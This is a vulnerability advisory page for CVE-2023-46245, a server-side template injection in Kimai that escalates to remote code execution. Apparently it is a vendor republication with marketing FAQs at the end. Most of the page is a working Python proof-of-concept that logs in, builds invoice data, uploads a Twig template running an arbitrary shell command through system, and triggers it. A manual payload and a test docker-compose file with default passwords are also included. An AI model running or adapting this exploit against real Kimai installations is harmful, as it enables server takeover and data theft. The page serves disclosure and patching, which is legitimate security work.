Summary
Description
The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.
Snippet of Vulnerable Code:
public function render(array $timesheets, TimesheetQuery $query): Response
{
...
$content = $this->twig->render($this->getTemplate(), array_merge([
'entries' => $timesheets,
'query' => $query,
...
], $this->getOptions($query)));
...
$content = $this->converter->convertToPdf($content, $pdfOptions);
...
return $this->createPdfResponse($content, $context);
}
The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.
In below, you can find the docker-compose file was used for this testing:
version: '3.5'
services:
sqldb:
image: mysql:5.7
environment:
- MYSQL_ROOT_HOST='%'
- MYSQL_DATABASE=kimai
- MYSQL_USER=kimaiuser
- MYSQL_PASSWORD=kimaipassword
- MYSQL_ROOT_PASSWORD=changemeplease
ports:
- 3336:3306
volumes:
- mysql:/var/lib/mysql
command: --default-storage-engine innodb
restart: unless-stopped
healthcheck:
test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
nginx:
image: tobybatch/nginx-fpm-reverse-proxy
ports:
- 8001:80
volumes:
- public:/opt/kimai/public:ro
restart: unless-stopped
depends_on:
- kimai
healthcheck:
test: wget --spider http://nginx/health || exit 1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
kimai: # This is the latest FPM image of kimai
image: kimai/kimai2:fpm-prod
environment:
- [email protected]
- ADMINPASS=changemeplease
- DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
- TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
- memory_limit=1024
volumes:
- public:/opt/kimai/public
# - var:/opt/kimai/var
# - ./ldap.conf:/etc/openldap/ldap.conf:z
# - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
restart: unless-stopped
phpmyadmin:
image: phpmyadmin
restart: always
ports:
- 8081:80
environment:
- PMA_ARBITRARY=1
postfix:
image: catatnight/postfix:latest
environment:
maildomain: neontribe.co.uk
smtp_user: kimai:kimai
restart: unless-stopped
volumes:
var:
public:
mysql:
Steps to Reproduce (Manually):
1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}}
2- Trigger the SSTI vulnerability by downloading the invoices.
3- The malicious code gets executed, leading to RCE.
4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing:
Proof of Conceptimport requests
import re
import string
import random
import sys
session = requests.session()
BASE_URL = sys.argv[1]
def generate(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def get_csrf(path, session):
try:
project_id = ""
csrf_token = ""
preview_id = ""
template_ids = []
activity_customer_list = []
csrf_login_response = session.get(f"{BASE_URL}{path}").text
# Extract CSRF Token
pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
match = pattern.search(csrf_login_response)
if match:
csrf_token = match.group(1)
if "performSearch" in path:
preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
preview_match = preview_pattern.search(csrf_login_response)
if preview_match:
preview_id = preview_match.group(1)
template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
template_matches = template_pattern.findall(csrf_login_response)
if template_matches:
template_ids = [int(id) for id in template_matches]
if "timesheet" in path:
option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
option_matches = option_pattern.findall(csrf_login_response)
if option_matches:
activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]
if "project" in path or "activity" in path:
project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
if project_id_match:
project_id = project_id_match.group(1)
return csrf_token, project_id, preview_id, template_ids, activity_customer_list
except Exception as e:
print(f"Error occurred: {e}")
return None, None, None, None, None
def login(username,password,csrf,session):
try:
params = {"_username": username, "_password": password, "_csrf_token": csrf}
login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
if "I forgot my password" not in login_response.text:
print(f"[+] Logged in: {username}")
return session
else:
print("Wrong username,password", username)
exit(1)
except Exception as e:
print(str(e))
pass
def create_customer(token,name,session):
try:
data = {
'customer_edit_form[name]': (None, name),
'customer_edit_form[color]': (None, ''),
'customer_edit_form[comment]': (None, 'xx'),
'customer_edit_form[address]': (None, 'xx'),
'customer_edit_form[company]': (None, ''),
'customer_edit_form[number]': (None, '0002'),
'customer_edit_form[vatId]': (None, ''),
'customer_edit_form[country]': (None, 'DE'),
'customer_edit_form[currency]': (None, 'EUR'),
'customer_edit_form[timezone]': (None, 'UTC'),
'customer_edit_form[contact]': (None, ''),
'customer_edit_form[email]': (None, ''),
'customer_edit_form[homepage]': (None, ''),
'customer_edit_form[mobile]': (None, ''),
'customer_edit_form[phone]': (None, ''),
'customer_edit_form[fax]': (None, ''),
'customer_edit_form[budget]': (None, '0.00'),
'customer_edit_form[timeBudget]': (None, '0:00'),
'customer_edit_form[budgetType]': (None, ''),
'customer_edit_form[visible]': (None, '1'),
'customer_edit_form[billable]': (None, '1'),
'customer_edit_form[invoiceTemplate]': (None, ''),
'customer_edit_form[invoiceText]': (None, ''),
'customer_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/customer/create", files=data)
except Exception as e:
print(str(e))
def create_project(token, name,project_id ,session):
try:
form_data = {
'project_edit_form[name]': (None, name),
'project_edit_form[color]': (None, ''),
'project_edit_form[comment]': (None, ''),
'project_edit_form[customer]': (None, project_id),
'project_edit_form[orderNumber]': (None, ''),
'project_edit_form[orderDate]': (None, ''),
'project_edit_form[start]': (None, ''),
'project_edit_form[end]': (None, ''),
'project_edit_form[budget]': (None, '0.00'),
'project_edit_form[timeBudget]': (None, '0:00'),
'project_edit_form[budgetType]': (None, ''),
'project_edit_form[visible]': (None, '1'),
'project_edit_form[billable]': (None, '1'),
'project_edit_form[globalActivities]': (None, '1'),
'project_edit_form[invoiceText]': (None, ''),
'project_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)
except Exception as e:
print(str(e))
def create_activity(token, name,project_id ,session):
try:
form_data = {
'activity_edit_form[name]': (None, name),
'activity_edit_form[color]': (None, ''),
'activity_edit_form[comment]': (None, ''),
'activity_edit_form[project]': (None, ''),
'activity_edit_form[budget]': (None, '0.00'),
'activity_edit_form[timeBudget]': (None, '0:00'),
'activity_edit_form[budgetType]': (None, ''),
'activity_edit_form[visible]': (None, '1'),
'activity_edit_form[billable]': (None, '1'),
'activity_edit_form[invoiceText]': (None, ''),
'activity_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)
if response.status_code == 201:
print(f"[+] Activity created: {name}")
except Exception as e:
print(f"An error occurred: {str(e)}")
def upload_malicious_document(token,session):
try:
form_data = {
'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
'invoice_document_upload_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)
if ".pdf.twig" in response.text:
print("[+] Twig uploaded successfully!")
else:
print("[-] Error while uploading, exiting..")
exit(1)
except Exception as e:
print(f"An error occurred: {str(e)}")
import re
def create_malicious_template(token, name, session):
try:
data = {
'invoice_template_form[name]': name,
'invoice_template_form[title]': name,
'invoice_template_form[company]': name,
'invoice_template_form[vatId]': '',
'invoice_template_form[address]': '',
'invoice_template_form[contact]': '',
'invoice_template_form[paymentTerms]': '',
'invoice_template_form[paymentDetails]': '',
'invoice_template_form[dueDays]': '30',
'invoice_template_form[vat]': '0.000',
'invoice_template_form[language]': 'en',
'invoice_template_form[numberGenerator]': 'default',
'invoice_template_form[renderer]': 'din',
'invoice_template_form[calculator]': 'default',
'invoice_template_form[_token]': token
}
response = session.post(f"{BASE_URL}/invoice/template/create", data=data)
# Define the regex pattern to capture the template ID and match the name
pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)
# Search the response text with the regex pattern
match = pattern.search(response.text)
if match:
template_id = match.group(1) # Extract the captured group
print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
return template_id # Return the captured template ID
else:
print("[-] Failed to capture the template ID")
create_malicious_template(token,name,session)
except Exception as e:
print(f"An error occurred: {str(e)}")
exit(1)
def create_timesheet(token, activity, project, session):
form_data = {
'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
'timesheet_edit_form[duration]': (None, '0:15'),
'timesheet_edit_form[end_time]': (None, '12:15 AM'),
'timesheet_edit_form[customer]': (None, ''),
'timesheet_edit_form[project]': (None, project),
'timesheet_edit_form[activity]': (None, activity),
'timesheet_edit_form[description]': (None, ''),
'timesheet_edit_form[fixedRate]': (None, ''),
'timesheet_edit_form[hourlyRate]': (None, ''),
'timesheet_edit_form[billableMode]': (None, 'auto'),
'timesheet_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
if response.status_code == 302: # Changed to 200 as 301 is for redirection
print(f"[+] Created a new timesheet")
##############################
# login
csrf, _, _, _, _ = get_csrf("/login", session)
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer
get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name
get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)
# create new activity
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)
# EXPLOIT
######################
# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)
# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)
# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function
print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration
print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
create_timesheet(csrf, activity_id, customer_id, session)
postData = {
"searchTerm": "",
"daterange": "",
"state": "1",
"billable": "0",
"exported": "1",
"orderBy": "begin",
"order": "DESC",
"exporter": "pdf"
}
# export timesheets so they appear in exported invoices
export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
if "PDF-1.4" in export:
csrf, _, _, _, _ = get_csrf("/invoice/", session)
# get preview token to construct the preview URL to trigger SSTI
csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
for template_id in template_ids:
rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
# trigger the payload by visiting the renderer URL
rce = session.get(rendererURL)
if "PDF-1.4" in rce.text:
print(rendererURL)
print("[+] successfully executed payload")
# save the pdf locally since rendered URL will expire as soon as we end the session
pdf = f"{generate()}.pdf"
with open(pdf,'wb') as pdfFile:
pdfFile.write(rce.content)
pdfFile.flush()
pdfFile.close()
print(f"[+] Saved results with name: {pdf}")
exit(1)
print("[-] Failed to execute payload, try to trigger manually..")
which can be executed as such:
$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"
this will download the rendered file which will contain the results of the RCE:
Remote Code Execution
Impact
CVE-2023-46245 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-46245? CVE-2023-46245 is a high-severity security vulnerability in kimai/kimai (composer), affecting versions < 2.1.0. It is fixed in 2.1.0.
- How severe is CVE-2023-46245? CVE-2023-46245 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of kimai/kimai are affected by CVE-2023-46245? kimai/kimai (composer) versions < 2.1.0 is affected.
- Is there a fix for CVE-2023-46245? Yes. CVE-2023-46245 is fixed in 2.1.0. Upgrade to this version or later.
- Is CVE-2023-46245 exploitable, and should I be worried? Whether CVE-2023-46245 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-46245 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-46245? Upgrade
kimai/kimaito 2.1.0 or later.